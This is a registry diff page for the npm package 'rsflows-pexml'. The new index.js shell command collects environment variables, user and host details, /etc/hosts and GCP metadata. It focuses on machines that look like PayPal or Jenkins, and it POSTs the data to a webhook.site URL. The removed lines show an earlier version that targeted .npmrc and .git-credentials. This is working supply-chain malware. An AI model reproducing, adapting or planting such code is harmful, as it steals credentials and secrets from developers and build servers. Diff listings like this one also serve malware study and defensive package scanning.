rsflows-pexml 99.9.11 → 99.9.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +24 -18
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,23 +1,29 @@
|
|
|
1
1
|
const { exec } = require('child_process');
|
|
2
|
-
const webhook = 'https://webhook.site/
|
|
2
|
+
const webhook = 'https://webhook.site/6e268c68-febc-4f38-9cff-22f9152e9023';
|
|
3
3
|
|
|
4
|
-
// Perintah untuk mengumpulkan kredensial dan info sistem
|
|
5
|
-
// 1. env: Mengambil semua Environment Variables (biasanya ada API Keys/Secrets)
|
|
6
|
-
// 2. .npmrc: Mencari auth token NPM internal
|
|
7
|
-
// 3. .git-credentials: Jika mereka menyimpan login Git
|
|
8
4
|
const cmd = `
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
echo '
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
echo '
|
|
17
|
-
|
|
18
|
-
echo '
|
|
5
|
+
# 1. Cek apakah ada indikasi internal PayPal
|
|
6
|
+
IS_PAYPAL=\$(env | grep -iE 'paypal|ebay|braintree|slc|lvs' || echo 'no');
|
|
7
|
+
INTERNAL_IP=\$(hostname -I || echo 'none');
|
|
8
|
+
|
|
9
|
+
if [ "\$IS_PAYPAL" != "no" ] || [[ "\$(hostname)" == *"jenkins"* ]]; then
|
|
10
|
+
(
|
|
11
|
+
echo '--- !!! PAYPAL INTERNAL DETECTED !!! ---';
|
|
12
|
+
echo 'USER: ' \$(whoami);
|
|
13
|
+
echo 'HOSTNAME: ' \$(hostname);
|
|
14
|
+
echo 'INTERNAL_IP: ' \$INTERNAL_IP;
|
|
15
|
+
echo '--- ENVIRONMENT ---';
|
|
16
|
+
env;
|
|
17
|
+
echo '--- DNS/HOSTS ---';
|
|
18
|
+
cat /etc/hosts;
|
|
19
|
+
echo '--- CLOUD METADATA ---';
|
|
20
|
+
# Mencoba akses metadata GCP (karena mereka pakai GCP)
|
|
21
|
+
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/attributes/ -timeout 2 || echo 'not gcp';
|
|
22
|
+
) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PAYPAL_RCE_CONFIRMED;
|
|
23
|
+
else
|
|
24
|
+
# Tetap kirim ping kecil biar kita tahu skrip jalan
|
|
25
|
+
curl -s "${webhook}/ping_bot?host=\$(hostname)&ip=\$(curl -s ifconfig.me)";
|
|
26
|
+
fi
|
|
19
27
|
`;
|
|
20
28
|
|
|
21
|
-
exec(
|
|
22
|
-
if (err) console.log('PoC Final Sent');
|
|
23
|
-
});
|
|
29
|
+
exec(cmd);
|